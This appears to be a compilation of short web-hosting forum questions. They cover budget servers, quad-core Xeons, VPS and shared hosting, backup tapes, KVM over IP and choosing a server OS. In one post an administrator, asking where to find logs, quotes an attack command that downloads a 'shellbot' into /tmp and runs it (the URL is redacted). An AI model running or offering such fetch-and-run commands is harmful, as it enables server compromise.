Inexpensive Quad System
What is the price one should expect to pay for a quad system server? I am guessing this could either be four cpus, two dual core cpus, or four seprate cpus all on the same motherboard. What this the best way to offer such a server?
If you were on a budget and building a server, which motherboard/cpu combo would you go for?

Inexpensive (shared) Dotnet 3.5 Hosting
I've searched extensively through the Windows hosting forum but I was not able to find reasonable hosting providers based on the following criteria: * Shared is fine (I'm on a budget) * The cheaper the better (no more than 2 hours / week downtime) * 9-5 support and 24 hour ticket turnaround * Include .NET 3.5 * Include ASP.NET and WCF (web services) * Allow up to 5 domain names that I already own * Include 2GB of disk space and 10GB of traffic / month * A decent pipe, something like 100K down and 50k up * SQL Server 2005 Express (or better) with the ability to remotely connect to via Management Studio (with credentials) * Ability to run or use a POP and SMTP server * Allow file upload / download via FTP or secure FTP

Inexpensive Used/recert SDLT Tapes
Anyone know of a good source for inexpensive used or recertified SDLT tapes? We have a customer installing a pretty large NAS (one 2TB array, one 1.6TB array, both will be near full) which they want to back up to SDLT... but new tapes at $35 will cost them a couple thousand bucks. I've seen recert tapes between $10 and $15 but can't find anyone who has them at the moment.

Inexpensive VPS For Busy PHPBB Forum
What minimum VPS specs should I be looking for to support a PHPBB3 forum that uses 100GB/mth bandwidth and has 50 concurrent users at peak times (measured by PHPBB, so not real-time concurrent)? And are there any suggestions for inexpensive ($30 or less) options that would be worth trying? Have never used a VPS before. If not, are there any shared hosting providers that specialize in hosting message boards like PHPBB?

Inexpensive Reliable File Storage Hosting
Just got a letter from InMotion. They don't like I uploaded my backup files to them, which makes their hosting benefits totally pointless to me and I will be moving to some other cheaper hosting since I basically only use email. So I need some place to store my backups... I need only about 5 Gb, and I don't care about bandwidth, as I don't plan to download them unless all my HDDs will burn or get stolen or something so I don't need bandwidth. And it should be no more than few bucks/mo.

8GB On A Motherboard, Inexpensive 8x1gb Or 4x2gb
I've been having good luck with desktop class systems using boards like the Supermicro PDSMI+. But I have need for a 8gb solution. 2gb DDR2 modules are still in $300 range... so 8gb is costing me 4x as much as 4gb. 4 x 1gb=$300 using Kingston DDR2 from Newegg Problem is motherboards either have 4 slots or I have to move up to Opteron/Xeon boards. I'm open on ECC or not, had failues either way

Quad Core For Db Server
About to pickup a server strictly for use with MySQL databases. Right now there's zero price difference between the Intel 5110 dual core and the 5310 quad cores. Looking around a bit online, it seems like the quad core is of no benefit (or lesser performance) than the dualie. That sql cannot take advantage of it yet. Is this accurate? If so, where do quad core CPU's shine at this point in time?

2 X Core2Duo Vs. 1 X Quad Core Xeon
I have a Quad Core Xeon right now that I had set up with RAID 1. I'm getting horrible Disk I/O rates for this drive, 1.57MB/sec sequential write speeds. I'm having slowdowns that seem to be database related and more specifically I/O related. I run both my webserver (IIS/ASP) and my database (SQL SERVER 2000) on this Quad Core Xeon box with 4GB RAM. The disk I/O is killing me. I see that I have plenty of CPU cycles and plenty of free memory. At this point I'd sacrifice RAID 1 for better performance. Should I got with the Quad Core Xeon with 4GB RAM for this webserver/database server config or go with 2 Core2Duo servers with 2GB RAM each?

Intel Quad-Core Xeon Processors
I've spend some time today in reading about different Intel based processors. I'm learning fast (I didn't know too much about chips... untill now ) but there is something I still need to ask, since I didn't find an answer. So: Which Quad-Core Xeon processor (from low cost ones) do you like more? ... Kentsfield, Yorkfield, Clovertown, Clovertown" (low voltage), Harpertown, Harpertown (low voltage). From waht I saw I could guess that Clovertown is the most popular...?

KVM Over IP System
I have a few different types of servers, all of which came with their own KVMoIP setup, aka DRAC and iLO which have worked only so so since their deployment. The HP iLO has performed absolutely flawlessly but the DRAC on the other hand has been nothing less than a complete nightmare. I'm looking for a KVM over IP system that we can connect to multiple servers, mainly Dell, that is 100% reliable and completely stable. Not something that will be giving Java errors randomly when you actually need it to work. So far I've came across the Raritan Dominion KX II which looks pretty promising. Is there any other KVM over IP systems or manufactures that I should look into? Has anyone used this and can you comment about its reliability?

System Logs
I keep receiving hacking attempts from someone accessing my server and running commands like these: Code: hubberfix sh -c cd /tmp;lwp-download [url] shellbot I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this. Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.

Which Operating System
There's bloody heaps of them. Which one do I go for on my two new file servers? Which operating system out of these is the most common, has the most support, is most compatible? The server will be used to host videos and will run c-panel. A light weight OS is probably preferred but I really have no idea. And incase it helps, the servers have 512mb of ram, about 30 - 40GB of hDD (not actually sure) and an old AMD Duron. CentOS Debian Direct Admin Fedora FreeBSD Gentoo LiveCD Redhat Slackware
